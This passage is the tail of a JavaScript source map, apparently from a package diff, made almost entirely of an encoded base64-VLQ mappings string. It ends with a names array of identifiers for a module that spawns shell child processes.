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",
|
|
6
|
+
"names": ["spawn", "os", "isWin", "os", "os", "path", "hostname", "platform", "fs", "path", "isWin", "shell", "buf", "child", "spawn", "pid", "stdoutBytes", "stderrBytes", "telemetryCompleted", "timeoutMs"]
|
|
7
7
|
}
|